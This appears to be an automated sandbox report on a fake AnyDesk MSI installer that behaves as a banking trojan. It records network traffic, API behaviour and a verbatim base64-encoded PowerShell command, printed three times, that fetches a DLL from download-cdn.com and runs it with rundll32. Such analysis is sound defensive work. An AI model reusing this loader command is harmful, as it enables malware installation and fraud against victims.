Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown

DNS traffic detected: queries for: download-cdn.com

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_100017A0 InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,VirtualAlloc,InternetReadFile,VirtualAlloc,VirtualFree,InternetReadFile,VirtualFree,VirtualFree,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

7_2_100017A0

Source: global traffic	HTTP traffic detected: GET /download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi HTTP/1.1Host: download-cdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pload/26b30163 HTTP/1.1Host: download-cdn.comCache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.113.123

Source: unknown

HTTPS traffic detected: 152.89.196.75:443 -> 192.168.2.4:49696 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A05CE0 htons,socket,connect,closesocket,send,send,GetKeyboardLayoutList,send,CreateThread,WindowFromPoint,WindowFromPoint,GetParent,SendMessageTimeoutA,GetWindowRect,GetWindowLongA,GetParent,ScreenToClient,MoveWindow,SetFocus,PostMessageA,GetWindowLongA,GetParent,GetWindowLongA,GetParent,IsWindow,GetWindowPlacement,PostMessageW,PostMessageW,WindowFromPoint,GetWindowThreadProcessId,GetKeyboardLayout,ActivateKeyboardLayout,VkKeyScanExA,GetKeyboardState,ToAscii,ScreenToClient,ChildWindowFromPoint,ScreenToClient,ChildWindowFromPoint,PostMessageA,WindowFromPoint,

7_2_04A05CE0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A04BA2 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

7_2_04A04BA2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A04E78 LocalAlloc,OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,lstrlenW,GlobalUnlock,CloseClipboard,

7_2_04A04E78

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A0A850 GetDC,GetDC,CreateCompatibleDC,SelectObject,SelectObject,CreateCompatibleBitmap,SelectObject,SelectObject,CreateSolidBrush,SelectObject,Rectangle,GetDC,BitBlt,GetTopWindow,GetWindow,GetWindow,IsWindowVisible,GetWindowRect,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,PrintWindow,BitBlt,DeleteObject,DeleteDC,GetWindow,GetClassNameW,lstrcmpW,GetWindowLongA,SetWindowLongA,GetWindow,SelectObject,Rectangle,VirtualFree,VirtualFree,VirtualFree,VirtualAlloc,GetDC,VirtualAlloc,GetDC,VirtualAlloc,GetDC,VirtualAlloc,GetDIBits,

7_2_04A0A850

E-Banking Fraud

Malicious encrypted Powershell command line found

Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI5344.tmp "C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI5344.tmp "C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A0ACE0 OpenDesktopW,CreateDesktopW,SetThreadDesktop,

7_2_04A0ACE0

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\ProgramData\435f8fae.dat

Jump to dropped file

Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6D5EC0	3_2_00007FF7AF6D5EC0
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF7150CC	3_2_00007FF7AF7150CC
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF720018	3_2_00007FF7AF720018
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6EC8D0	3_2_00007FF7AF6EC8D0
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF71A864	3_2_00007FF7AF71A864
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E209C	3_2_00007FF7AF6E209C
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF718FF8	3_2_00007FF7AF718FF8
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6F870C	3_2_00007FF7AF6F870C
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF720DB4	3_2_00007FF7AF720DB4
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E5574	3_2_00007FF7AF6E5574
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF7155C4	3_2_00007FF7AF7155C4
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF725604	3_2_00007FF7AF725604
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E6606	3_2_00007FF7AF6E6606
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF711578	3_2_00007FF7AF711578
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E7C4C	3_2_00007FF7AF6E7C4C
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF7174E0	3_2_00007FF7AF7174E0
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E4444	3_2_00007FF7AF6E4444
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF713424	3_2_00007FF7AF713424
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E3330	3_2_00007FF7AF6E3330
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6D7B30	3_2_00007FF7AF6D7B30
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6E93FC	3_2_00007FF7AF6E93FC
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF725388	3_2_00007FF7AF725388
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6DCA70	3_2_00007FF7AF6DCA70
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6F7A64	3_2_00007FF7AF6F7A64
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF7111A4	3_2_00007FF7AF7111A4
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF71194C	3_2_00007FF7AF71194C
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF71B994	3_2_00007FF7AF71B994
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF815F80D81	4_2_00007FF815F80D81
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF815F80DAA	4_2_00007FF815F80DAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF815F80CA8	4_2_00007FF815F80CA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100026B0	7_2_100026B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A09AC0	7_2_04A09AC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A0DF70	7_2_04A0DF70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A0B978	7_2_04A0B978
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A0D54F	7_2_04A0D54F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC9AC0	9_2_00FC9AC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FCB978	9_2_00FCB978
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FCDF70	9_2_00FCDF70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FCD54F	9_2_00FCD54F

Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI4755.tmp

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\4641a8.msi

Jump to behavior

Source: AnydeskSetup_26b30163.msi	Binary or memory string: OriginalFilenameviewer.exeF vs AnydeskSetup_26b30163.msi
Source: AnydeskSetup_26b30163.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs AnydeskSetup_26b30163.msi
Source: AnydeskSetup_26b30163.msi	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs AnydeskSetup_26b30163.msi

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Litesoft

Jump to behavior

Source: classification engine

Classification label: mal100.bank.troj.evad.winMSI@18/31@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6D2680 LoadResource,LockResource,SizeofResource,

3_2_00007FF7AF6D2680

Source: C:\Windows\Installer\MSI5344.tmp

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\AnydeskSetup_26b30163.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 98DB8D4E6DAAAA17E94E76B65ACF188B
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI5344.tmp "C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc 